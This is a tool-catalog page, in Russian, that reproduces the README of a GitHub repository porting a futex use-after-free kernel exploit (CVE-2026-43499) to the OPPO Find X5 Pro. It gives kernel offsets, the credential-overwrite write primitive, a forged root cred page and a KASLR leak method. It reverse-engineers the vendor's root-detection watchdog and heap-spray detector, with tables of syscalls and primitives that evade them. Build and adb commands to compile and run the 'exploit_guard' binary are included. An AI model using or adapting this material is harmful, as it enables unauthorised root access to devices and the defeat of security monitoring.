Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
ghostlock-pfem10 — GhostLock (CVE-2026-43499) для OPPO Find X5 Pro (PFEM10) — реверс-инжиниринг watchdog и детектора heap-spray от OPlus | Kitploit
Инструменты/GitHubGitHub/imeiplus/ghostlock-pfem10
Безопасность AndroidПовышение привилегийКриминалистика памятиАнализ уязвимостейЭксплуатацияОбратная инженерияМобильная безопасностьРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubimeiplus/ghostlock-pfem10

ghostlock-pfem10

GhostLock (CVE-2026-43499) для OPPO Find X5 Pro (PFEM10) — реверс-инжиниринг watchdog и детектора heap-spray от OPlus

2 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

GhostLock — OPPO Find X5 Pro (PFEM10)

English · 中文

build

Порт GhostLock (CVE-2026-43499) для OPPO Find X5 Pro на ColorOS 16. Достигает дочернего процесса с uid=0 и загруженного kernelsu.ko; корневой процесс перехватывается.

Уязвимость

CVE-2026-43499 — use-after-free в futex PI. remove_waiter() очищает current->pi_blocked_on, когда current является requeuer, на пути отката -EDEADLK в rt_mutex_start_proxy_lock().

remove_waiter @ 0xffffffc0081ed254 — форма до исправления.

Устройство

Статус

О «корневой процесс выживает»: запуски в evidence/kill.log достигают uid=0 и загружают kernelsu.ko, и в запуске, который действительно опрашивал это, процесс менеджера KernelSU выжил 120 с, при этом kernelsu оставался Live в /proc/modules. В более позднем запуске та же цепочка оставила службы Android framework недоступными (Can't find service: package/power/input/phone/wifi), пока модуль всё ещё был Live. Ни одной строки ядра [ROOTCHECK-*] и ни одной полезной нагрузки $$sys_call_number@@ никогда не было захвачено, поэтому причина состояния более позднего запуска не атрибутирована. См. evidence/notes.md §2.3, §2.4 и §7.

Смещения

task_struct

thread_info

ПолеСмещение

cred

Поток эксплуатации```

LT perf leak target task_struct → file W7 stage 1 task+0x778 = V (real_cred → private sprayed page; V observed) W7 stage 2 task+0x780 = V (cred) ★ V12_W7_VALUE=V — THE SAME VALUE, not a new page W7 stage 3 V+8 = 0 (LOCAL repair of the page that was installed, ZERO shape) LT child fexecve(memfd of loader) — no execve of a /data path loader ksud late-load → kernelsu ... Live

root@kitploit:~
**Этап 2 должен явно получить значение этапа 1.** Этапы 1 и 2 — это два
независимых процесса, каждый со своим spray, поэтому «записать страницу учётных данных в оба
слота» — это ловушка: при наивном чтении это даёт `(pageA, pageB)`, и поскольку
`commit_creds` сравнивает **указатели**, эта пара является расходящейся, даже когда обе записи
происходят. Это не гипотетическая ситуация — именно это и произошло в запусках 3 и 9:```
run 9   0x778 shot  write value = 0xffffff88679bade0
        0x780 shot  write value = 0xffffff8785d6ade0     <- a different page
run 3   0x778 shot  write value = 0xffffff8787b5ade0
        0x780 shot  write value = 0xffffff881bad2de0     <- a different page

run_bootA.sh поэтому запускает stage 2 с V12_W7_VALUE=<значение, наблюдённое на stage 1> и отказывается запускать его вообще, если это значение не удаётся восстановить. HOLD должен пережить stage 2, иначе страница stage 1 освобождается и перераспределяется, и «то же самое значение» превращается в висячий указатель. См. правило одного и того же значения.

За одну загрузку восстанавливается одна страница. Stage 3 обнуляет V+8. При двух разных страницах обнуление обеих стёрло бы отпечаток gid/suid (см. ниже) и заставило бы расхождение выглядеть как согласие, поэтому раннер восстанавливает только ту страницу, которая была фактически установлена, и останавливается, если два значения расходятся.

Страница cred строится в payload.c: все восемь полей id равны нулю, все пять наборов capability заполнены, а user / user_ns / group_info указывают на root_user / init_user_ns / init_groups. Stage 3 существует потому, что побочный эффект записи всегда затирает cred+8 (gid/suid) того cred, который он устанавливает.

О init_cred — явная дихотомия

Два раздела здесь раньше противоречили друг другу («никогда глобальный init_cred» против «CONTROL=1 воспроизводит cell 2», а cell 2 и есть init_cred). Оба утверждения верны для разных ролей:

  • Запрещён как цель. Запись указателя init_cred заставляет побочный эффект повредить init_cred+8 глобально — init_cred разделяется всеми потоками ядра, и Uid: 0 0 4294967176 0 — это в точности то повреждение. Код отказывается идти по этому пути, если только V12_ALLOW_INIT_CRED=1 не задан намеренно.
  • Сохранён как единственная ДОКАЗАННО согласованная пара. Цепочка 09-14, дошедшая до ksud, записала один фиксированный адрес (0xffffff802a7e0be0) в оба слота, так что real_cred == cred по построению — именно поэтому она дожила до execve. CONTROL=1 воспроизводит это. Это контроль, а не конфигурация, на которой следует строить.

утечка perf: PERF_TYPE_SOFTWARE / PERF_COUNT_SW_CPU_CLOCK, PERF_SAMPLE_REGS_INTR, exclude_user=1. Принимать [0xffffff8400000000, 0xffffff90000000), голосов ≥ 15%.

Примитив записи и его побочный эффект

UAF управляется через rb_erase_cached Case 1-left. Это даёт две записи, а не одну:``` *(write_target) = write_value // the store you aim *(write_value + 0x08) = write_target // unavoidable side effect

root@kitploit:~
`write_value` должен быть выровнен по 8 байтам с обнулённым битом 0 — это либо `0`, либо
допустимый адрес ядра. **Именно поэтому `g_boot_state` нельзя установить с помощью этого
примитива**: байт, который должен стать `1`, имеет младший бит, принудительно обнулённый
требованием выравнивания, а `write_value` — это та же величина, что и
адрес, по которому происходит побочный эффект.

### Побочный эффект записывает в то, на что указывает `write_value`

`write_value` — это одновременно *сохраняемое значение* и *адрес, по которому побочный эффект
производит запись* (по смещению `+8`). Направьте его на глобальный объект ядра — и вы повредите этот
объект.

**W7 раньше делал именно это** — нацеливая `write_value` на псевдоним `init_cred` —
и это видно при обратном чтении. Из `out/t5_w7_778.txt`:```
shape shift=0 wps=5: in[0]=0xffffff802a7e0be0 (write_value) in[2]=0xffffff8800cdd178 (write_target)
W7[W7] write_target= 0xffffff8800cdd178
Uid:	0	0	4294967176	0

write_value был алиасом init_cred, а write_target — child_task+0x778. init_cred+8 — это gid/suid, поэтому побочный эффект записал туда 0xffffff8800cdd178: init_cred.gid = 0x00cdd178 и init_cred.suid = 0xffffff88 = 4294967176 — в точности 4-е поле awk из строки Uid: выше. Обнуление init_cred+8 исправило это (out/t5_repair.txt: Uid: 0 0 4294967176 0 → ), и это всё, чем когда-либо был «W7 stage 3».

Теперь этот путь запрещён в коде. V12_W7_INIT_CRED=1 прерывается с объяснением, если только не установлен также V12_ALLOW_INIT_CRED=1, а пути W2/W6/LTC больше не откатываются к init_cred, когда приватная страница cred отсутствует — они вместо этого прерываются. Значение по умолчанию, и единственный разумный путь — это распылённая страница cred.

Сам побочный эффект невозможно избежать: write_value должен быть указателем на cred, поэтому cred+8 всегда затирается целью записи. Выбор есть только в отношении его местоположения — и теперь исправление представляет собой локальное обнуление cred_page+8 (stage 3), а не запись в глобальный объект.

Мусорный вывод groups= — это отдельный симптом, не этот. Он был замечен в запуске, где gid и egid читались чисто, поэтому он не может происходить от побочного эффекта init_cred+8; он указывает на собственное поле group_info поддельного cred. См. evidence/notes.md §10.6.

★ Приземление в одно поле оставляет задачу расходящейся — а это жёсткий BUG_ON

Примитив записывает ровно по одному адресу за проход. task+0x778 (real_cred) и task+0x780 (cred) — это два отдельных адреса, поэтому любая приземлившаяся запись только в 0x778 или только в 0x780 оставляет задачу с cred != real_cred — состояние расхождения.

На этом образе такое состояние — жёсткая паника, а не предупреждение. commit_creds начинается с BUG_ON(task->cred != task->real_cred):``` commit_creds @0xffffffc008186784 0x1867a4 ldr x19, [x20, #0x778] ; old = task->real_cred 0x1867a8 ldr x8, [x20, #0x780] ; task->cred 0x1867ac cmp x8, x19 0x1867b0 b.ne #0xffffffc008186b68 0x186b68 brk #0x800 ; == BUG()

root@kitploit:~
и ядро собрано с **`CONFIG_PANIC_ON_OOPS=y`** (`CONFIG_PANIC_ON_OOPS_VALUE=1`).
`__put_cred @0xffffffc008185530` несёт то же семейство утверждений
(`usage != 0` → BUG; `cred == current->cred` / `current->real_cred` → BUG).

Таким образом, расхождение *латентно* — оно ничего не делает, пока жертва просто крутится, —
до тех пор, пока на этой задаче не произойдёт **любой** `commit_creds`: `setresuid` / `setresgid` /
`setuid` / `setgid` / `capset`, или **`execve` через `install_exec_creds`**.

> **⛔ Отозвано (2026-09-18 поздно): это НЕ механизм перезагрузки.**
>
> Более ранняя редакция этого раздела называла расхождение «ведущим кандидатом
> на роль механизма перезагрузок» и утверждала, что оно «объясняет разделение по форме».
> Это не так, и причина теперь измерена, а не аргументирована:
>
> * `commit_creds` берёт свою задачу из **`current`** — `0x1867a0 mrs x20, sp_el0`.
>   Его сигнатура — `commit_creds(struct cred *new)`; аргумента задачи нет.
>   Поэтому расхождение имеет значение только если задача, **держащая** его, сама
>   вызывает `commit_creds`.
> * Все перезагружающиеся прогоны были `V12_NO_EXEC=1` (указано дословно в
>   `run3_0445.log:18`, `run9_0606.log:20`, `run10_0616.log:24`), поэтому жертва
>   никогда не выполняла `execve` и вообще не достигала `commit_creds`.
> * В прогоне 10 не было никакого poke вообще (`grep -c poke` = 0).
> * `exit_creds` обнуляет **оба** указателя перед `put_cred`
>   (`0x185cb8 str xzr,[x19,#0x778]`; `0x185d24 str xzr,[x19,#0x780]`), поэтому
>   `_exit(0)` жертвы **стирает** расхождение, а не спотыкается о него.
>
> ⇒ В тех прогонах расхождение было **инертным**. `BUG_ON` реален, но это
> мина, которая не сработала. «Форма A никогда не перезагружается» снова становится
> корреляцией. Что мина на самом деле ограничивает — это **отмывание**, потому что
> `setresgid`/`setresuid` сами вызывают `commit_creds`.
>
> **Величина, которая на самом деле разделяет цепочки, — это равенство указателей, а это
> означает, что оба выстрела должны записать ОДНО значение** — см. следующий подраздел.

### ★★★ Оба выстрела должны записать *одно и то же* значение — не просто оба попасть

`BUG_ON` сравнивает **указатели**. Две страницы, обе несущие `uid 0`, — всё ещё два
разных объекта. Захваты делают различие конкретным:

| цепочка | выстрел 0x778 | выстрел 0x780 | указатели |
|---|---|---|---|
| старая (`t5loop.sh MODE=CRED`) | `in[0]=0xffffff802a7e0be0` | `in[0]=0xffffff802a7e0be0` | **равны** → ksud загружен, менеджер жив 120 с |
| новая (`run_bootA.sh`) | `0xffffff88679bade0` (прогон 9) | `0xffffff8785d6ade0` | **различаются** → расхождение даже при обоих попаданиях |

`tools/t5loop.sh` применяет **один** `$ENVV` к **каждому** смещению, поэтому `MODE=CRED`
сделал оба выстрела идентичными *по построению*. `run_bootA.sh` выполнял шаг 5 и
шаг 6 каждый с пустым `$extra`, поэтому каждый распылял свою **собственную** страницу.

⇒ Требование — **«оба выстрела записывают одно и то же значение»**. `run_bootA.sh` теперь
обеспечивает это (`SAME_VALUE=1`, значение по умолчанию): шаг 6 дословно переиспользует
наблюдённый `write_value` шага 5 и **отказывается стрелять вообще**, если не может восстановить это
значение — потому что выстрел построил бы расходящуюся пару.

⚠ `HOLD` должен пережить второй выстрел. Если PIN-потомок первого выстрела умирает первым,
страница освобождается и перераспределяется, и «одно и то же значение» становится висячим указателем.
Значение по умолчанию `HOLD=20` **слишком короткое**; используйте `HOLD=600`. Теперь это *значение по умолчанию*
всякий раз, когда `SAME_VALUE=1` — прежние безусловные 20 с означали, что сама конфигурация по умолчанию
была ловушкой — и явный короткий `HOLD` с
`SAME_VALUE=1` теперь громко предупреждает вместо тихого создания висячего указателя.

⚠ `CONTROL=1` раньше менял **только шаг 5**, поэтому он производил
`(init_cred, свежая страница)` — расходящуюся пару — в то время как этот файл утверждал, что он
воспроизводит ячейку 2. Исправлено: теперь он устанавливает оба выстрела в `init_cred`. (Цена ячейки 2
остаётся: побочный эффект глобально повреждает `init_cred+8`, что и есть
`Uid: 0 0 4294967176 0`.)

**Последствия для всего, что хочет отмыть учётные данные**
(`setresgid` + `setresuid`, чтобы обменять распылённую страницу на настоящий `struct cred`):

- Механизм реален и проверен — `commit_creds` записывает `x21` в **оба**
  `task+0x778` и `task+0x780` (`0x186998` / `0x1869a0`), поэтому один вызов навсегда
  чинит расщепление; `prepare_creds @0xffffffc008186070` — это
  `kmem_cache_alloc(cred_jar)` + `memcpy(new, task->cred, 0xA8)` +
  `security_prepare_creds(...)`, и 147/149 оба в списке исключений стража.
- **Но его предусловие противоположно «пропустить выстрел 0x778».** Само отмывание
  вызывает `commit_creds`, поэтому его можно выполнять только когда **оба** указателя
  уже держат одно и то же значение.
- `V12_LAUNDER=1` ограничен **двумя** вещами, и первая — не наблюдение:
  1. **`V12_W7_SAME_VALUE=1`** — факт *происхождения*, что обоим выстрелам было дано
     одно и то же значение. Без примитива чтения идентичность указателей ненаблюдаема, поэтому
     это нельзя заменить лучшей проверкой в пространстве пользователя; это должно быть объявлено.
  2. `consistent=1` — представление `0x780` (`getuid()`) согласуется с представлением `0x778`
     (`/proc/self/status` `Uid:`). **Необходимо, но само по себе недостаточно**:
     две разные страницы, обе несущие `uid 0`, читаются одинаково, пока указатели различаются
     — а это ровно тот случай, который раннер раньше фабриковал. При условии (1) это
     становится достаточным: согласуется + одно и то же значение ⇒ оба попали на одну страницу.
  Провал любой из проверок ⇒ отказ, и таблица из четырёх случаев идёт в доказательства.
  Строка отчёта LT печатает оба представления (`uid=` / `real_uid=` / `consistent=`) плюс
  `same_value_declared=`, чтобы состояние читалось, а не выводилось.

### ★ Инструмент 1 — побочный эффект это ШТАМП, нацеленный на цель

`*(write_value + 8) = write_target`, а `cred+8` / `cred+0xc` — это `gid` / `suid`,
поэтому одно 8-байтовое сохранение ложится поперёк обоих:```
cred.gid  = low32(write_target)
cred.suid = hi32(write_target)

Это измерение, а не модель. В out/t5_w7_778.txt указано write_target = 0xffffff8800cdd178 и Uid: 0 0 4294967176 0, где 4294967176 = 0xffffff88 = hi32(write_target); в notes.md §11 зафиксирована другая половина, init_cred.gid = 0x00cdd178 = low32(write_target).

Два применения:

  1. Это оракул приземления для task+0x778. /proc/<pid>/status читает real_cred = task+0x778 — ровно тот cred, который только что был установлен, — так что метка напрямую читается из userspace. Читайте её до этапа 3: восстановление обнуляет cred+8 и стирает её (t5_repair.txt из notes.md §11 читает 4294967176 до успешного восстановления и 0 после).
  2. Это вторая, независимая причина, по которой шлюз отмывания может поймать две разные страницы. Одной половины uid недостаточно: любая страница с uid 0 читается как 0, поэтому две различные страницы обе сообщают «согласовано». Но low32(T+0x778) и low32(T+0x780) различаются ровно на 8, так что при двух страницах getgid() (из ) и (из ) расходятся — а сравнивает gid так же, как uid.

⇒ V12_W7_SAME_VALUE — это второй шлюз, а не единственный. Он всё ещё важен: метка различает только если сработали оба побочных эффекта, так что правило одинаковых значений закрывает эту остаточную дыру. И заметьте, что такое шлюз есть — детектор, а не предотвратитель. Он может только отказать; он оставляет задачу расходящейся до конца загрузки. Правило одинаковых значений — это то, что делает пару корректной, что и было у старой цепочки и что необходимо, чтобы вообще достичь execve.

★ Инструмент 2 — probe_state НЕ является критерием приземления

Он ошибался трижды в этом проекте: W1 приземлился на глобальную переменную и сообщил R; D из запуска 12 был нацелен на глобальную переменную, а не на cred; и R из запуска 11 был записан в таблицу так, будто это было приземление (run11_w778r1_miss.txt и w7_w7781.txt из запуска 7 построчно изоморфны — оба probe_state = R, probe_done = 0). Используйте оракул для каждой цели:

run_bootA.sh теперь использует метку для этапа 1 — что и делает повторные попытки ROUNDS>1 на task+0x778 осмысленными, поскольку неудачный раунд читается, а не выводится логически, — и он не запустит этап 2, если этап 1 не приземлился.

⛔ Говорите «поле awk», никогда «3-е поле». uid_line печатает и метку (Uid: 0 0 4294967176 0), так что $1 в awk — это "Uid:", а четыре значения id — $2..$5: $2=uid $3=euid $4=suid $5=fsuid. Метка находится по cred+8, т. е. gid (low32) и suid (hi32) — так что это Gid: $2 и Uid: . Называть это «третьим полем» (что считает и как это формулирует §11) провоцирует код читать , который равен = на поддельном cred и никогда не может равняться . Эта ошибка на единицу присутствовала здесь: возвращал «нет метки» для выстрела, который приземлился, так что этап 2 никогда не срабатывал, и шлюз отмывания отказывал вечно — , потому что «нет метки» — это также нормальный результат настоящего промаха.

Критерий, который никогда не проверяется против известного положительного образца, — это не критерий, а догадка — и этот класс отказов (эта ошибка на единицу, probe_state, dmesg -w, пустой klog.host, пустое обратное чтение) всегда проявляется как «ничего не произошло», что также является законным экспериментальным исходом. Так что теперь проверка защищена дважды:

  • stamp_selftest() выполняется в предполётной проверке и делает exit 9 при отказе, прогоняя те же функции извлечения, которые использует шлюз, против измеренных значений из out/t5_w7_778.txt (write_target = 0xffffff8800cdd178 → Uid $4 = 4294967176, Gid $2 = 13488504) плюс отрицательные и нечитаемые образцы. Самотест, который заново реализует проверку, ничего не доказывает, поэтому извлечение полей вынесено в uid_suid_field / gid_gid_field.
  • tools/test_stamp_criterion.sh — то же самое в виде автономного регрессионного теста, извлекающего реальные функции из .

stamp_ok() возвращает три состояния, потому что «не удаётся прочитать» — это не «нет метки» (именно это смешение заставило запуск 13 выглядеть как «без изменений»): 0 = присутствует, 1 = читается и метки нет, 2 = НЕЧИТАЕМО. И когда он возвращает 1, а probe_state = D, раннер печатает ⛔ ORACLE INCONSISTENT — «идите проверять критерий» — вместо сообщения «не приземлилось», которое отправляет оператора в совершенно другое место (свежая загрузка или охота за частотой попаданий).

Полный вывод: evidence/2026-09-18-divergence-is-latent.md и evidence/2026-09-18-cred-launder-verification.md (§2.3 последнего отозван на месте). Самостоятельная проверка перекрытия формы записи закрыта офлайн: слова формы живут в сетке fd_set на стеке ядра, пока побочный эффект приземляется внутри распылённой страницы, так что они не могут перекрываться ни в одной из форм.

Пути обнаружения

Три независимых репортёра. Ни один не является запасным для другого, и только путь 1 может убить вызывающую задачу.

Путь 2 срабатывает на execve, а не на смене учётных данных, и это отдельный код путь от пути 1. Он сообщает через kevent_send_to_user, так что что произойдёт дальше — решение демона userspace, а не ядра.

Проверка идёт по пути исполняемого образа, так что недостаточно загрузить через memfd полезную нагрузку загрузчика: если сам загрузчик исполняется из /data/local/tmp, этот первый execve уже сообщает. d_path() для memfd — это /memfd:…, так что сам загрузчик должен исполняться через memfd — V12_EXEC_MEMFD теперь включён по умолчанию именно по этой причине. Старое поведение видно в RUN 4:``` LT child exec /data/local/tmp/glx12 (4 args) <- execve of a /data path while uid=0 LT child memfd loaded 5014624 bytes (fd=5) <- memfd only protected the second image

root@kitploit:~
Greppable-маркеры для пути 2:```
[ROOTCHECK-EXEC-INFO]:common %s result %s      with  "execve_report" / "execve_block"
%d,path@@%s                                    kevent payload fragment

Поскольку путь 2 и путь 3 сообщают только через kevent, «отсутствие [ROOTCHECK-*] в журнале ядра» не исключает срабатывания ни одного из них. Для такого вывода нужен получатель в пространстве пользователя, который мы не обнаружили.

Watchdog — oplus_security_guard.ko

Кэш sys_enter:```asm ldrsw x8, [x1, #0x118] ; regs->syscallno mrs x9, sp_el0 ; current ldr x10, [x9, #0x780] ; cred str x8, [x9, #0xdf8] ldr w8, [x10, #4] → str x8, [x9, #0xe00] ; uid ldr w8, [x10, #0x14] → str x8, [x9, #0xe08] ; euid ldr w8, [x10, #8] → str x8, [x9, #0xe10] ; gid ldr w8, [x10, #0x18] → str x8, [x9, #0xe18] ; egid

root@kitploit:~
Проверка `sys_exit`:```asm
ldr   x0,  [x8, #0xe00]         ; cached uid
cbz   x0, #0x48c                ; cached uid == 0 → return
adrp  x9, #0 ; ldrb w9, [x9]    ; g_boot_state
tbnz  w9, #0, #0x48c            ; is_unlocked → return
ldr   x9,  [x8, #0x780]         ; cred
ldr   w3,  [x8, #0xdf8]         ; cached syscallno
cmp   x0, w10 ; b.hi #0x468     ; uid descending → kill path
                                ; euid / gid / egid, same shape
ldr   x9,  [x8, #8]             ; addr_limit
cmp   x9,  #0x8000000001
b.lo  #0x48c                    ; addr_limit != KERNEL_DS → return
sub   w9,  w3, #0x8f            ; syscallno - 143
cmp   w9,  #0x47
b.hi  #0x4a0                    ; outside 143..214 → kill
ldrsw x12, [x10, x9, lsl #2]    ; jmp table @ .rodata+0
br    x11
0x48c: ret
0x4a0: bl oplus_root_check_succ ; printk + kevent_send_to_user
       bl oplus_root_killed     ; printk + do_exit(SIGKILL)

Замечание о потоке управления (важно для порядка эксплуатации). Четыре сравнения по нисходящему ребру ветвятся напрямую к 0x468, к диспетчеру по номеру системного вызова — они не проходят через шлюз addr_limit. 0x454–0x464 достигаются только тогда, когда ни один id не спустился. Таким образом, диспетчер входит, когда либо какой-то id спустился, либо addr_limit == KERNEL_DS; он не управляется addr_limit.

Последствия:

  • Убийца срабатывает на системном вызове, во время которого изменились учётные данные — том самом, чей sys_enter всё ещё кэшировал старый uid. Если задача уже uid=0 при входе в системный вызов (0x400 cbz), хук возвращается и остаётся слепым с этого момента.
  • Следовательно, смена учётных данных переживаема без обращения к модулю: пусть другая задача выполнит запись, пока жертва крутится в пользовательском пространстве, или проведите изменение через один из 12 освобождённых системных вызовов. См. delivery/外部建议评审_2026-09-18.md.

g_boot_state — 1 байт .data..ro_after_init, устанавливается при инициализации модуля из verified_bootstate через strstr. is_unlocked() = LDRB + RET.

Записи в VA модуля вызывают сбой (CONFIG_STRICT_MODULE_RWX=y) — используйте псевдоним physmap 0xffffff80….

Полезная нагрузка отчёта: $$sys_call_number@@%d, $$set_id_flag@@%d, $$addr_limit@@%lx, $$enforce@@%d.

Освобождённые системные вызовы — .rodata+0, индексы 143–214

Остальные 60 записей → отчёт + kill.

Не блокируйте поток на sendmsg (211), пока меняются его учётные данные. Его нет в таблице, поэтому поток будет зарегистрирован и убит. Единственные системные вызовы, в которых безопасно блокироваться для этой цели, — двенадцать вышеперечисленных: setregid, setgid, setreuid, setuid, setresuid, setresgid, connect, getsockname, setsockopt, shutdown, readahead, brk.

Исправление (2026-09-18). Более ранняя редакция этой таблицы помечала каждую запись на единицу меньше реального номера системного вызова arm64 (146 назывался setresuid; на самом деле это setuid — setresuid это 147). Номера всегда были верны; неверны были только имена. Теперь имена разрешаются из sys_call_table @ 0xffffffc00a13d8c0 в образе ядра этого устройства. В частности sendmsg (211), munmap (215), getsockopt (209) и getpeername (205) не освобождены — блокировка потока в любом из них, пока меняются его учётные данные, это kill, а не pass. Перегенерируйте с помощью tools/gen_exempt_table.py.

Детектор Heap-Spray — oplus_secure_harden.ko

root@kitploit:~
`entry_handler_setxattr` → `oplus_heapspray_check(7)`, `entry_handler_cpuinfo` → `(6)`, оба безусловные.

`oplus_heapspray_check` — счётчики `heapspary_ip4` / `ip6` / `xttr` / `cpuinfo`, дельта `ktime_get_real_ts64`, 7 мест отчёта (`snprintf` + `printk` + `kevent_send_to_user`), с проверкой `verified_bootstate`.

### Обход

| Примитив | |
|---|---|
| `setsockopt` optname 46 `MCAST_JOIN_SOURCE_GROUP` | не фильтруется |
| `setsockopt` level `SOL_IPV6` (41) | не фильтруется, если фильтр читает `level` |
| `setxattr` | всегда учитывается |
| `/proc/cpuinfo` | всегда учитывается |
| `socket()` / `socketpair()` | не перехватывается |
| `sendmsg`, `pipe`, `memfd`, `add_key`, `io_uring`, mmap | не перехватывается |

## Конфигурация```
CONFIG_CFI_CLANG=y
CONFIG_PTR_AUTH=y
CONFIG_SHADOW_CALL_STACK=y
CONFIG_STRICT_MODULE_RWX=y
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""
CONFIG_SET_FS=y
CONFIG_RANDOMIZE_BASE=y
CONFIG_RANDOMIZE_MODULE_REGION_FULL=n
CONFIG_UNMAP_KERNEL_AT_EL0=y
CONFIG_ARM64_VA_BITS=39
CONFIG_ARM64_SW_TTBR0_PAN=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y
CONFIG_RANDOM_KMALLOC_CACHES=n
CONFIG_USER_NS=n
CONFIG_NF_TABLES=n
CONFIG_SYSVIPC=n
CONFIG_ANDROID_BINDER_IPC=y
CONFIG_KASAN=y

perf_event_paranoid = -1

Сборка

NDK r28c. -O1 / API 26 / -D__ARM=1 фиксированы — они сохраняют геометрию стекового фрейма reclaim (delta=0 калибровка). Изменение любого из них требует повторной калибровки на устройстве.```bash export ANDROID_NDK_HOME=/path/to/android-ndk-r28c make # → exploit_guard ./build.sh # same, with NDK auto-detection

root@kitploit:~
Вручную:```bash
"$ANDROID_NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android26-clang" \
  -D__ARM=1 -O1 -Wall -Wextra -pthread -Isrc/core -Isrc/devices/pfem10 \
  -o exploit_guard src/core/exploit.c

CI-сборки при каждом push (.github/workflows/build.yml, Ubuntu + NDK r28c, артефакт exploit_guard).

Установка```bash

adb push exploit_guard /data/local/tmp/e adb shell chmod 755 /data/local/tmp/e adb shell /data/local/tmp/e

root@kitploit:~
## Файлы```
src/core/                 exploit.c  payload.c  payload.h  fdset_map.h
src/lib/                  KernelSnitch — kernelsnitch.h  futex_hash.h  timeutils.h  utils.h
src/devices/pfem10/       pfem10_target.h
model/                    model.c — host-side rtmutex chain-walk model
tools/                    kdis.py  kdis_ko.py  kdis_ko_reloc.py  gen_guard_disasm.py
                          gen_exempt_table.py  mod_layout.py  sct_dump.py
                          find_task_off.py  slide_resolve.py
                          test_stamp_criterion.sh   regression test for the 0x778
                                                    landing criterion (run it after
                                                    touching uid_line/gid_line)
artifacts/                guard_post_handler.s   kill chain, relocations resolved
                          guard_relocs.txt       raw .text relocation dump
                          guard_disasm.txt       guard + heap-spray detector
                          guard_exempt_table.txt 72-slot jump table, real names
evidence/                 kill.log  notes.md — device captures and their limits
Makefile  build.sh        exploit build (-O1, API 26, NDK r28c)
run.sh                    device-side run orchestration (retry across reboots)
.github/workflows/        build.yml — cloud build + artifact

Доказательства

evidence/kill.log — дословные стенограммы adb shell четырёх запусков от root: полная временная шкала, момент, когда uid целевой задачи становится 0, загрузка kernelsu.ko и состояние после этого. Сначала прочитайте блок заголовка: в нём перечислено, чего файл не содержит и почему.

evidence/notes.md — сторона ядра. Адреса модулей и какие каналы /proc работают в каком состоянии SELinux; полный вывод g_boot_state, включая ключ strstr; исправленная таблица исключений; рецепт захвата, который позволил бы получить недостающую половину со стороны ядра; и список того, что всё ещё открыто.

evidence/2026-09-18-bootA/ — первый запуск текущего дизайна на устройстве, 13 загрузок. Перезагрузки упорядоченные (bootreason=reboot), и строка паники ни разу не была захвачена — но читайте это как выборку из одного, а не из тринадцати. Из четырёх запусков, которые перезагрузились, два сохранили пустой klog.host, один сохранил лог следующей загрузки, и только одно окно может правдоподобно охватывать собственную перезагрузку. Аналогично, probe_state одного запуска и обратное чтение жертвы оба пусты (устройство уже исчезло), так что это не несёт информации о том, попала ли его запись — пустое поле не означает «без изменений». Каталог также документирует методологическую ошибку, о которой стоит знать: dmesg -w на этом устройстве ничего не делает (toybox выводит один раз и завершается), поэтому лог ядра более раннего запуска содержал только историю до захвата — «нет [ROOTCHECK-*]» не было доказательством чего-либо. evidence/notes.md §6 содержит исправленный рецепт опроса и потоковой передачи на хост.

evidence/2026-09-18-cred-launder-verification.md — проверка предложения по отмыванию учётных данных против собственного дизассемблирования этого образа (не общего исходного кода 5.10): двойное сохранение commit_creds, выделение prepare_creds и измеренный sizeof(struct cred) = 0xA8, описанная выше опасность расхождения BUG_ON(cred != real_cred), самопроверка закрытого перекрытия формы записи и аудит покрытия доказательствами 13 загрузок. §2.3 отозван на месте — расхождение латентно, а не является механизмом перезагрузки.

evidence/2026-09-18-divergence-is-latent.md — проверка второго раунда. commit_creds берёт свою задачу из current (0x1867a0 mrs x20, sp_el0), exit_creds обнуляет оба указателя перед put_cred, и необработанные захваты показывают, что старая цепочка записала одно идентичное значение (0xffffff802a7e0be0) в оба слота, тогда как новая цепочка записала две разные страницы. Таким образом, критерий — равенство указателей — «оба выстрела записывают одно и то же значение», а не «оба выстрела попадают».

postreboot_forensics.sh — криминалистика после перезагрузки, которая не зависит от поллера. Критерий — единственное условие: CONFIG_PSTORE_CONSOLE=y заставляет panic() записать хвост консоли в ramoops при kmsg_dump(KMSG_DUMP_PANIC) — до любого сброса — так что то, перезагрузится ли затем машина или зависнет, не имеет значения. Извлекает /sys/fs/pstore/, ищет kernel BUG / __put_cred / cred.c и печатает строку причины загрузки (записи истории несли суффиксы reboot,shell / bootloader / reboot,edl, так что причина различает действующее лицо там, где эпоха этого не делает).

⚠ Не читайте «чистый bootreason=reboot» как «нет паники». На QCOM срабатывание сторожевого таймера SoC сбрасывается через блок PMIC PON, так что panic → panic_timeout=-1 → зависание → сторожевой таймер → сброс PMIC → чистая причина загрузки — это самосогласованная цепочка, которая неотличима от аппаратного сброса на имеющихся у нас доказательствах. Собственный total_17_dump_0_pmic_17 этого репозитория приписывает все 17 аномальных перезагрузок pmic, что в точности соответствует нормальной форме сторожевого таймера, а не является доказательством «не ядро». bootreason здесь ничего не сужает; ramoops — единственный критерий.

Два предварительных условия, иначе вердикт скрипта недействителен (铁律 8 — вывод об отсутствии сигнала требует, чтобы канал был сначала доказанно достижим):

  • Требуется третье состояние. /sys/fs/pstore/* доступен только root, поэтому при Enforcing и adb pull, и cat терпят неудачу — а «не удаётся прочитать» даёт тот же вывод, что и «прочитал, и там было пусто». Двухсостоянийный скрипт печатает «pstore ПУСТ ⇒ паника опровергнута» из канала, который он никогда не открывал. Поэтому скрипт выдаёт CHANNEL UNREACHABLE (ls не удался, или все известные записи не удалось прочитать, а не то, что они не существуют) и сообщает getenforce вместе с этим.
